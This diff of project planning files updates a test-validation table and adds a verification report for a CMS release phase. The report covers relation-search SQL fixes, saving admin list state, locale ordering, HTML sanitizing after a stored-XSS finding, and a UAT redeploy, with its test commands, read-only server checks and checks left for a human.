| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ❌ W0 `admin/tests/state/listState.test.ts` (created by the task) | ⬜ pending |
|
||||
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ⬜ pending |
|
||||
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case returns an error now that the gate is the only defence | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML\|TestFormatHTMLRejectsUnsafeHTML)$' -v ./classes/` | ✅ extend | ⬜ pending |
|
||||
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
|
||||
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
|
||||
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ✅ green |
|
||||
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ✅ green |
|
||||
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ✅ green (plan 02: release-gate-ok, human approved v0.1.16) |
|
||||
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ✅ green (plan 02: smoke: ok (98 urls), sha256 match) |
|
||||
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ✅ green (plan 02: SQL check 0:1, no SQLSTATE 42703 since restart) |
|
||||
| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ✅ created (plan 03) | ✅ green |
|
||||
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ✅ green (pure); ✅ Postgres green on Docker 2026-10-09/10 |
|
||||
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case is sanitized (bluemonday, post-review CR-01 fix), scheme-like text and raw HTML survive, CheckHTML refuses unsafe category HTML | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLSanitizesUnsafeHTML\|TestFormatHTMLKeepsSchemeLikeText\|TestFormatHTMLKeepsRawHTML\|TestCheckHTML)$' -v ./classes/` (four top-level PASS lines) | ✅ extend | ✅ green (pure); ✅ harness re-save green on Docker 2026-10-09/10 |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
@@ -62,10 +62,10 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [ ] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
|
||||
- [ ] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
|
||||
- [ ] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
|
||||
- [ ] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
|
||||
- [x] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
|
||||
- [x] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
|
||||
- [x] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
|
||||
- [x] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
|
||||
|
||||
---
|
||||
|
||||
@@ -87,7 +87,14 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
|
||||
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [x] Wave 0 covers all MISSING references
|
||||
- [x] No watch-mode flags (`vitest run` through `npm test`; `go test -count=1`)
|
||||
- [ ] Feedback latency < 60s (confirmed during execution)
|
||||
- [ ] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
|
||||
- [x] Feedback latency < 60s (confirmed during execution: the quick suite ran in 20 s on 2026-10-09)
|
||||
- [x] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
|
||||
|
||||
**Approval:** pending
|
||||
## Recorded runs (plan 03, 2026-10-09, machine without Docker)
|
||||
|
||||
- Quick Go commands: four top-level `--- PASS` lines for `TestListRelationSearchSmoke`, `TestListRelationSQL`, `TestEnabledLocalesDefaultFirst` and `TestEnabledLocalesDefaultFirstSmoke`; `go -C ../sm-journal-plugin test -count=1 ./classes/` ok, with four top-level `--- PASS` lines for `TestFormatHTMLSanitizesUnsafeHTML`, `TestFormatHTMLKeepsSchemeLikeText`, `TestFormatHTMLKeepsRawHTML` and `TestCheckHTML` (updated 2026-10-10 after the CR-01 fix replaced `TestFormatHTMLRejectsUnsafeHTML`).
|
||||
- Full local suite: `go vet ./...`, `go -C ../sm-journal-plugin vet ./...`, `TestDocsTree`, `npm --prefix admin run typecheck`, `npm --prefix admin test` (76 files, 1144 tests) and `scripts/check-admin-dist.sh` ("dist matches a fresh build") printed `phase-16.1-local-gate-ok`.
|
||||
- Docker-host suites: still pending at plan 03 time (`TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` failed with "failed to create Docker provider", as designed). **Update 2026-10-10:** after the golem user joined the docker group, the full `go test -count=1 ./...` passed with Docker in summercms.go (37 packages, before and after cd25af0, and again for the v0.1.17 release) and in sm-journal-plugin, including `TestListQueryContract`, `TestListRelationSearchPostgres`, `TestPostsAdminResaveKeepsHTML` and the translation harness tests; the verifier re-ran them.
|
||||
- Manual UAT rows: the plan 02 executor confirmed posts 53 and 64 by read-only SQL. The list-state, form-locale and search checks were reported by the human before the re-saves reached UAT, so they stay open for `/msd-verify-work`.
|
||||
|
||||
**Approval:** pending (manual UAT rows only; Docker-host suites green 2026-10-10)
|
||||
|
||||
@@ -0,0 +1,274 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
verified: 2026-10-09T23:05:00Z
|
||||
status: passed
|
||||
score: 32/33 must-haves verified
|
||||
covered_files:
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-PLAN.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md
|
||||
- admin/src/main.ts
|
||||
- admin/src/state/listState.ts
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/smoke/list.smoke.test.ts
|
||||
- admin/tests/state/listState.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
- modules/cabana/README.md
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- scripts/check-phase10.sh
|
||||
covered_digest: "v2:sha256:7e043180d992853a3d04039e3304ee81d631fc8574eeec0e96264b3b6ad7873d"
|
||||
behavior_unverified: 0
|
||||
overrides_applied: 0
|
||||
human_verification:
|
||||
- test: "Install the hardened staging vhost as root: copy /srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf (host commits fc10094, 387d0f4) over /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl, run sudo nginx -t, reload nginx, and compare sha256 of the installed and uploaded copies"
|
||||
expected: "nginx -t passes; curl -sI https://uat.grzybyfunkcjonalne.pl/ (on the server, resolved to loopback) shows Content-Security-Policy-Report-Only, X-Content-Type-Options, X-Frame-Options, Referrer-Policy and Permissions-Policy; /gfadmin keeps its auth_basic exemption; smoke.sh --url still ends 'smoke: ok ('"
|
||||
why_human: "Needs root on the UAT server. Read-only check on 2026-10-09 23:00 UTC: the uploaded file has the CSP Report-Only header (count 1), the enabled vhost does not (count 0)"
|
||||
- test: "UAT posts list search: in /gfadmin/golem15/journal/posts search 'cordyceps' (a category name)"
|
||||
expected: "Rows appear; no 'The list could not be loaded.'; the Go log shows no SQLSTATE 42703 after 2026/10/09 22:47:29"
|
||||
why_human: "Needs UAT basic auth and an admin login. Automated proof covers the SQL on real Postgres (TestListRelationSearchPostgres) and a clean log since the restart, but the Go log does not record successful searches, so it cannot show that a search ran on the real categories pivot"
|
||||
- test: "UAT list state (D-01): set a sort and a category filter, open a post, press back; repeat with save-and-close; leave through the navigation rail and return; paste the URL in a new tab; log out and in"
|
||||
expected: "Sort and filter survive every return and are in the URL; the pasted URL shows the same list; after logout and login the list opens unfiltered"
|
||||
why_human: "Interactive flow behind UAT basic auth; the human report ('all works') predates the re-saves and the v0.1.17 deploy (which changed the storage key to be per admin), so it is not independent confirmation of the deployed build"
|
||||
- test: "UAT post form (D-03): open any imported post"
|
||||
expected: "The locale selector shows pl first; title, slug, content and excerpt are filled with the stored values"
|
||||
why_human: "Visual check on real data. Supporting evidence: the UAT locales table has en at sort_order 1 and the default pl at sort_order 2, the exact order the fix reorders, and enabledContentLocales is covered by 12 unit cases"
|
||||
- test: "Review the nine judgment-tier prohibitions in the Prohibitions section below"
|
||||
expected: "Each LLM-judge verdict (all 'not violated') is accepted or overturned"
|
||||
why_human: "unverified-prohibition: judgment tier, the verifier's verdict is non-authoritative"
|
||||
---
|
||||
|
||||
# Phase 16.1: Journal admin urgent fixes Verification Report
|
||||
|
||||
**Phase Goal:** The Journal posts list and post form in the admin work on real imported data found on UAT. The fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
|
||||
**Verified:** 2026-10-09T23:05:00Z
|
||||
**Status:** human_needed
|
||||
**Re-verification:** No, initial verification
|
||||
|
||||
All code, tests, tags, pushes and the deployed binary were checked against the repositories and the UAT server (read-only). Every automated must-have holds. What remains: the nginx vhost install, which needs root, and the browser checks on UAT that only a human can run.
|
||||
|
||||
## Goal Achievement
|
||||
|
||||
### Observable Truths
|
||||
|
||||
**Roadmap contract (success criteria derived from the goal)**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 1 | List search no longer fails with "Server error" on a belongsToMany relation | ✓ VERIFIED | `modules/cabana/query.go:369-449` builds `EXISTS (SELECT 1 FROM pivot AS cabana_p0 JOIN related AS cabana_r0 ...)` from `stmt.Schema.Relationships.Relations[field]`. `TestListRelationSearchPostgres` passed against real Postgres (run here through the Docker sudo path). The UAT Go log has 0 `SQLSTATE 42703` lines in the 32 lines since the 22:47:29 restart. |
|
||||
| 2 | List sort and filters are remembered after opening a record and going back | ✓ VERIFIED | `ListView.vue:200-221` restores the stored query before the first request. `FormView.test.ts` "returning to the list keeps its query (D-01)" covers back, cancel, save-and-close and delete. 4 files / 144 tests pass; the full suite has 76 files / 1171 tests. |
|
||||
| 3 | The post form shows the stored content | ✓ VERIFIED (code) | `http.go:986-993` moves `DefaultLocale` to index 0. `TestEnabledLocalesDefaultFirst` (12 cases) passes. The UAT `golem15_translate_locales` table has `en` at sort 1 and the default `pl` at sort 2, which confirms the root cause the fix targets. The on-UAT visual check is a human item. |
|
||||
| 4 | The post form shows the stored excerpt | ✓ VERIFIED (code) | Same mechanism as #3: the excerpt lives in the host column, under the default locale. |
|
||||
| 5 | Released as a summercms tag | ✓ VERIFIED | `git ls-remote`: v0.1.16 is d8e3536 on d77393b; v0.1.17 is c37de45 on c21fe36. v0.1.17 contains 06d75cb, bd8626e, 9cac45c, a8bce9c, 837922c and cd25af0. |
|
||||
| 6 | Host is bumped | ✓ VERIFIED | Host HEAD 0b93ac2 equals origin/master. The journal gitlink is c60abc6, equal to sm-journal-plugin origin/main. The translate gitlink is 54cf93b, the vue app gitlink is ada03b2, and go.mod requires summercms v0.1.17. |
|
||||
| 7 | UAT is redeployed | ✓ VERIFIED | Server sha256 is `e5b0ad28…3af232` and `.prev` is `e1ba3587…148ceb` (the CR-01 hotfix). The Go and Nuxt processes started at 22:47:28 and 22:47:32 UTC. |
|
||||
| 8 | The staging smoke re-runs | ✓ VERIFIED | I re-ran it on the server myself (loopback resolve, GETs only): `smoke: ok (98 urls)` |
|
||||
|
||||
**16.1-01 must_haves**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 9 | belongsToMany search goes through EXISTS, with names taken from GORM's parsed relationship | ✓ VERIFIED | `relationSubquery` uses `gorm.Statement.Parse` and `Relationships.Relations`. TestListRelationSQL covers custom `joinForeignKey`/`joinReferences` pivot names. |
|
||||
| 10 | hasMany, hasOne and belongsTo searches are correlated EXISTS; there is no outer JOIN, so a record is counted once | ✓ VERIFIED | `applyListSearch` (query.go:476-490). TestListRelationSQL checks there is no JOIN outside the subqueries next to `user_id = 7` and `id IN (3)`. The Postgres test gives total 1 for a post matching through 2 tags. |
|
||||
| 11 | A to-many sort uses `string_agg` plus the PK tiebreak; a to-one sort keeps the join | ✓ VERIFIED | query.go:313-336; TestListRelationSQL covers both directions; the Postgres test gives [2 1] and [1 2] |
|
||||
| 12 | Polymorphic relations and unknown columns give 422, never 500 | ✓ VERIFIED | query.go:378-390 refuses via `rel.Polymorphic` and `PrimaryValue`; TestListRelationSQL has 5 refusal cases |
|
||||
| 13 | meta.enabledLocales lists the default locale first | ✓ VERIFIED | http.go:986-993, TestEnabledLocalesDefaultFirst(Smoke) |
|
||||
| 14 | FormatHTML keeps imported raw HTML and dangerous markup is not stored on any write path | ✓ VERIFIED (superseded mechanism) | The plan's "refuses" became "strips" under the accepted decision note `notes/journal-html-sanitizing-bluemonday.md`, the CR-01 fix in a3551f2, which is stronger than the planned regex gate. All three write paths call FormatHTML: posts.go:213, import_posts.go:185, posts_helpers.go:511/567. Translations go through FormatTranslation (0d00ec8). Duplicate attributes are handled in 5f47083. TestFormatHTMLKeepsRawHTML and TestFormatHTMLSanitizesUnsafeHTML pass. |
|
||||
| 15 | List params stay in the URL; stored per list; an empty query is never stored | ✓ VERIFIED | `listState.ts`. The key is now `summer-admin.list:<adminId>:<controller>` (the WR-03 fix in cd25af0 is stricter than the plan's key). `writeListState` removes the key on an empty query. |
|
||||
| 16 | Entry without params restores before the first request; URL params win; logout removes every stored query | ✓ VERIFIED | ListView.vue watch; `clearUser()` calls `setListStateOwner(null)`, which removes all list keys. `main.ts:27` sends `onUnauthorized` to `expireSession`. Covered by vitest. |
|
||||
| 17 | Commits staged by path, holding only this plan's files; the journal commit in its own repo | ✓ VERIFIED | `git show --name-only` for 06d75cb, bd8626e and 9cac45c matches the plan. The one extra file in 9cac45c (`list.smoke.test.ts`) is a documented deviation. 528d2d8 is in sm-journal-plugin. |
|
||||
| 18 | go vet clean; smoke tests, vitest, TestDocsTree and the dist check green | ✓ VERIFIED | Re-run here: `go vet ./...` ok, both repos' vet ok, TestDocsTree ok, `check-admin-dist.sh` printed "matches a fresh build", vitest 1171/1171 |
|
||||
|
||||
**16.1-02 must_haves**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 19 | An annotated tag containing every 16.1-01 commit is on origin | ✓ VERIFIED | v0.1.16 and v0.1.17 are both on origin (see #5) |
|
||||
| 20 | sm-journal-plugin main with the require is on origin; the host gitlink points at it; README and DEPLOY.md lost the re-save warning | ✓ VERIFIED | c60abc6 equals origin/main and requires v0.1.17. Host gitlink c60abc6. `grep -ci 'omitted\|re-sav'` gives 0 in both README.md and DEPLOY.md. |
|
||||
| 21 | UAT runs the build; sha256 matches; both programs run; `.prev` kept; smoke ok | ✓ VERIFIED | See #7 and #8. I could not compare against the local build byte for byte; the server hash matches the release record. |
|
||||
| 22 | After the restart, no SQLSTATE 42703 (and search returns rows) | ✓ VERIFIED (log + Postgres test) | 0 in 32 lines since 22:47:29. The human search on UAT is a human item. |
|
||||
| 23 | Posts 53 and 64 repaired: no placeholder, post 64 has its footer | ✓ VERIFIED | Read-only psql now prints `0:1`. The public page `/blog/ekstrakt-z-turkey-tail` renders `<footer class="author-footer" itemscope="" ...>`, and the footer CSS is in `entry.Djv1o0WC.css`. |
|
||||
| 24 | D-01 and D-03 checked on UAT by a human (end-of-phase check) | ? UNCERTAIN (human) | The human's report predates the re-saves and the v0.1.17 deploy, so it does not count as confirmation. Routed to Human Verification. |
|
||||
|
||||
**16.1-03 must_haves**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 25 | Every piece of 16.1 code has unit tests | ✓ VERIFIED | listState.test.ts, ListView/FormView/useAuth tests, TestListRelationSQL, TestEnabledLocalesDefaultFirst, FormatHTML tests, all passing |
|
||||
| 26 | Form back, cancel, save-and-close and delete land with the stored query, and the first request carries it | ✓ VERIFIED | FormView.test.ts D-01 block passes |
|
||||
| 27 | ListView entry logic: restore, URL wins, cleared controls, same-list navigation, 422, page clamp | ✓ VERIFIED | ListView.test.ts "list state entry logic (D-01)" passes. cd25af0 adds recovery from any failed restore (WR-02). |
|
||||
| 28 | listState helpers: prefix, malformed values dropped, empty query not stored, throwing storage, clear keeps the sidebar key | ✓ VERIFIED | listState.test.ts passes |
|
||||
| 29 | DryRun SQL matrix (custom pivot keys, self-reference, soft delete, polymorphic, bound and LIKE-escaped values, no outer JOIN, sorts) | ✓ VERIFIED | `--- PASS: TestListRelationSQL` |
|
||||
| 30 | enabledContentLocales cases | ✓ VERIFIED | `--- PASS: TestEnabledLocalesDefaultFirst` |
|
||||
| 31 | FormatHTML tests: imported HTML round-trips; no unsafe case survives | ✓ VERIFIED (superseded mechanism) | "Every unsafe case returns an error" became "every unsafe case is stripped" per the bluemonday decision. TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestCheckHTML and TestFormatTranslation pass. |
|
||||
| 32 | Postgres tests exist and pass on a Docker host | ✓ VERIFIED | Re-run here: TestListRelationSearchPostgres, TestListQueryContract, TestPostsAdminResaveKeepsHTML, TestJournalAPITranslatedContentHTML and TestJournalImportTranslatedContentHTML all PASS |
|
||||
| 33 | vet, vitest, TestDocsTree and dist green | ✓ VERIFIED | See #18 |
|
||||
|
||||
**Score:** 32/33 truths verified (0 present-but-behavior-unverified; 1 uncertain, routed to a human)
|
||||
|
||||
### CONTEXT decisions accounted for
|
||||
|
||||
| Decision | Status | Where |
|
||||
|----------|--------|-------|
|
||||
| D-01 list state in the URL and localStorage, no server storage | ✓ | #2, #15, #16, #26-28; no migration, route or OpenAPI diff in 3ca6a0d..cd25af0 |
|
||||
| D-02 framework-level relation-search fix in cabana | ✓ | #1, #9-12, #17 |
|
||||
| D-03 content and excerpt shown without loss; re-save keeps HTML | ✓ code / ? UAT visual | #3, #4, #13, #14, #23; UAT visual is a human item |
|
||||
| D-04 tag, host bump, redeploy, smoke | ✓ (except the nginx vhost install) | #5-8, #19-21 |
|
||||
| D-05 three plans | ✓ | 01, 02 and 03 are all summarized |
|
||||
|
||||
### Post-review remediation (16.1-REVIEW.md)
|
||||
|
||||
| Finding | Status | Evidence |
|
||||
|---------|--------|----------|
|
||||
| CR-01 stored XSS | Fixed and deployed | sm-journal-plugin a3551f2 (bluemonday); the public layer uses sanitize-html (vue-journal-layer 5beb1c5, tag v0.1.1, pinned by vue app 27b3827) |
|
||||
| WR-01 "Data:" false refusal | Fixed | The regex gate is gone; TestFormatHTMLKeepsSchemeLikeText passes |
|
||||
| WR-02 restored query locks the list | Fixed | cd25af0: `loadList(restored)` forgets the query and loads the plain list once; there is a reset button |
|
||||
| WR-03 list state crosses admins | Fixed | cd25af0: per-admin keys; `clearUser` and `expireSession` clear them |
|
||||
| Audit W-1 / W-2 | Fixed | 0d00ec8 (FormatTranslation), 5f47083 (duplicate attributes); harness tests pass |
|
||||
| WR-04 relation SQL only DryRun-tested | Resolved in substance | TestListRelationSearchPostgres runs the EXISTS and string_agg SQL on real Postgres and passes |
|
||||
| WR-05 to-many sort order differs from display order | Open (warning) | `relatedSelectMany` still joins in Preload order (query.go:142, no ORDER BY). `docs/backend/lists-and-filters.md:62` still says the sort uses "the text the list shows". |
|
||||
| IN-01..03 | Open (info) | Not addressed |
|
||||
| Translate Secure cookie, app header hardening | Verified on UAT | `set-cookie: golem15.translate.locale=...; HttpOnly; Secure`; Nuxt at :3016 sends no X-Powered-By and no set-cookie |
|
||||
|
||||
### Required Artifacts
|
||||
|
||||
| Artifact | Expected | Status | Details |
|
||||
|----------|----------|--------|---------|
|
||||
| `modules/cabana/query.go` | EXISTS search and to-many sort from the parsed relationship | ✓ VERIFIED | Contains `Relationships.Relations`, `string_agg`, `EXISTS (SELECT 1 FROM`; called from ExecuteList (lines 121, 133) |
|
||||
| `modules/cabana/query_relation_test.go` | DryRun harness, smoke, matrix, Postgres test | ✓ VERIFIED | Its tests pass |
|
||||
| `modules/cabana/locale_order_test.go` | default-first tests | ✓ VERIFIED | Passes |
|
||||
| `../sm-journal-plugin/classes/format_html.go` | goldmark WithUnsafe behind a safety gate | ✓ VERIFIED | `WithUnsafe` plus the bluemonday `htmlPolicy` (supersedes the regex gate) |
|
||||
| `admin/src/state/listState.ts` | per-list browser storage | ✓ VERIFIED | Contains `summer-admin.list:`; imported by ListView.vue and useAuth.ts |
|
||||
| `../sm-grzybyfunkcjonalne-app/DEPLOY.md` | release and rollback procedure without the re-save warning | ✓ VERIFIED | Has `## Release`; the warning is removed |
|
||||
| `../sm-journal-plugin/go.mod` | require of the release tag | ✓ VERIFIED | `summercms v0.1.17`, with the replace to `../summercms.go` kept |
|
||||
| `admin/tests/state/listState.test.ts` | helper tests | ✓ VERIFIED | Passes |
|
||||
| `../sm-journal-plugin/posts_admin_smoke_test.go` | TestPostsAdminResaveKeepsHTML | ✓ VERIFIED | PASS on the Docker host |
|
||||
| `modules/boardwalk/dist/` | rebuilt SPA | ✓ VERIFIED | check-admin-dist.sh: matches a fresh build |
|
||||
|
||||
### Key Link Verification
|
||||
|
||||
| From | To | Via | Status |
|
||||
|------|----|-----|--------|
|
||||
| query.go applyListSearch/applyListOrder | GORM schema.Relationship | `stmt.Parse` + `Relationships.Relations[field]` | ✓ WIRED |
|
||||
| http.go enabledContentLocales | TranslationWriter.DefaultLocale | default moved to index 0 | ✓ WIRED |
|
||||
| ListView.vue watch | listState.ts read/writeListState | restore before the first request | ✓ WIRED |
|
||||
| sm-journal-plugin controllers/posts.go | classes.FormatHTML | content to content_html on admin save (line 213) | ✓ WIRED |
|
||||
| useAuth.ts clearUser / main.ts onUnauthorized | setListStateOwner(null) | logout and session expiry clear list keys | ✓ WIRED |
|
||||
| host plugins/golem15/journal gitlink | sm-journal-plugin origin/main | c60abc6 | ✓ WIRED |
|
||||
| host go.mod | ../summercms.go at the release tag | replace + require v0.1.17 | ✓ WIRED |
|
||||
| FormView.test.ts | ListView entry restore | `writeListState` then back navigation | ✓ WIRED |
|
||||
|
||||
### Data-Flow Trace (Level 4)
|
||||
|
||||
| Artifact | Data | Source | Real data | Status |
|
||||
|----------|------|--------|-----------|--------|
|
||||
| Posts list (search) | rows/meta | ExecuteList → GORM with EXISTS on the real pivot | Yes (Postgres test; UAT log clean) | ✓ FLOWING |
|
||||
| Post form ML fields | content/excerpt (pl) | hydrateMLRecord host columns under DefaultLocale; enabledLocales[0] = pl | Yes (UAT locales: pl default, en sort 1) | ✓ FLOWING (visual check is a human item) |
|
||||
| Public post 64 | content_html footer | UAT DB → Journal API → sanitize-html → v-html | Yes (footer rendered on the SSR page) | ✓ FLOWING |
|
||||
|
||||
### Behavioral Spot-Checks
|
||||
|
||||
| Behavior | Command | Result | Status |
|
||||
|----------|---------|--------|--------|
|
||||
| Relation SQL and locale order (pure) | `go test -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` | 4 PASS lines | ✓ PASS |
|
||||
| Journal classes | `go -C ../sm-journal-plugin test -v ./classes/` | 9 PASS, ok | ✓ PASS |
|
||||
| Relation search on real Postgres | Docker sudo path, `-run TestListRelationSearchPostgres\|TestListQueryContract` | PASS, PASS | ✓ PASS |
|
||||
| Admin re-save and translations keep or sanitize HTML | Docker sudo path, sm-journal-plugin named tests | 3 PASS | ✓ PASS |
|
||||
| List state vitest | `npm --prefix admin test` | 76 files, 1171 tests passed | ✓ PASS |
|
||||
| Dist drift | `bash scripts/check-admin-dist.sh` | matches a fresh build | ✓ PASS |
|
||||
| Docs | `go test ./cmd/summer -run TestDocsTree` | ok | ✓ PASS |
|
||||
| Browser storage confined | grep in admin/src outside useSidebar.ts and listState.ts | empty | ✓ PASS |
|
||||
|
||||
### Probe Execution
|
||||
|
||||
| Probe | Command | Result | Status |
|
||||
|-------|---------|--------|--------|
|
||||
| UAT on-server smoke | `CURL_HOME=$C scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` (via ssh, loopback resolve) | `smoke: ok (98 urls)` | PASS |
|
||||
| UAT data repair | read-only psql: placeholder count : post-64 footer | `0:1` | PASS |
|
||||
| UAT log | 42703 count since 2026/10/09 22:47:29 | 0 (32 lines) | PASS |
|
||||
| UAT binary | sha256sum bin/grzybyfunkcjonalne | e5b0ad28…3af232 | PASS |
|
||||
| Hardened vhost installed | grep CSP-Report-Only in /etc/nginx/sites-enabled/uat.grzybyfunkcjonalne.pl | 0 (uploaded copy: 1) | NOT INSTALLED (human item, needs root) |
|
||||
|
||||
### Requirements Coverage
|
||||
|
||||
The phase has no REQUIREMENTS.md IDs (Requirements: TBD), and REQUIREMENTS.md maps nothing to Phase 16.1, so no requirement is orphaned. The plans' `requirements:` fields name CONTEXT decisions D-01..D-04, which are covered above.
|
||||
|
||||
### Prohibitions (judgment tier, verdicts not authoritative; flagged as unverified-prohibition, human review recommended)
|
||||
|
||||
| # | Prohibition | LLM-judge verdict | Basis |
|
||||
|---|-------------|-------------------|-------|
|
||||
| 1 | Relation fix not Journal-specific; no consuming-application names in framework code or docs | not violated | The builder is generic over GORM relationships; grep for app names in the touched framework files is empty; TestDocsTree ok |
|
||||
| 2 | No server-side list state (table, migration, route) | not violated | No migration, route or API diff in summercms.go 3ca6a0d..cd25af0 |
|
||||
| 3 | Journal API content/content_html shapes unchanged | not violated | Only stored values change (sanitized); README says shapes and codes are unchanged |
|
||||
| 4 | cabana.RenderMarkdown stays safe-mode | not violated | `modules/cabana/field_markdown.go` has no WithUnsafe |
|
||||
| 5 | No write SQL on UAT; only human re-saves of 53/64 | not violated (from records) | Records show read-only psql only; cannot be proven after the fact |
|
||||
| 6 | Live Winter site, vhost, php-fpm and PHP DB untouched | not violated (from records) | The vhost was not installed; there is no evidence of live-site edits |
|
||||
| 7 | No credentials requested, printed or committed | not violated (from records) | SUMMARYs hold no secrets |
|
||||
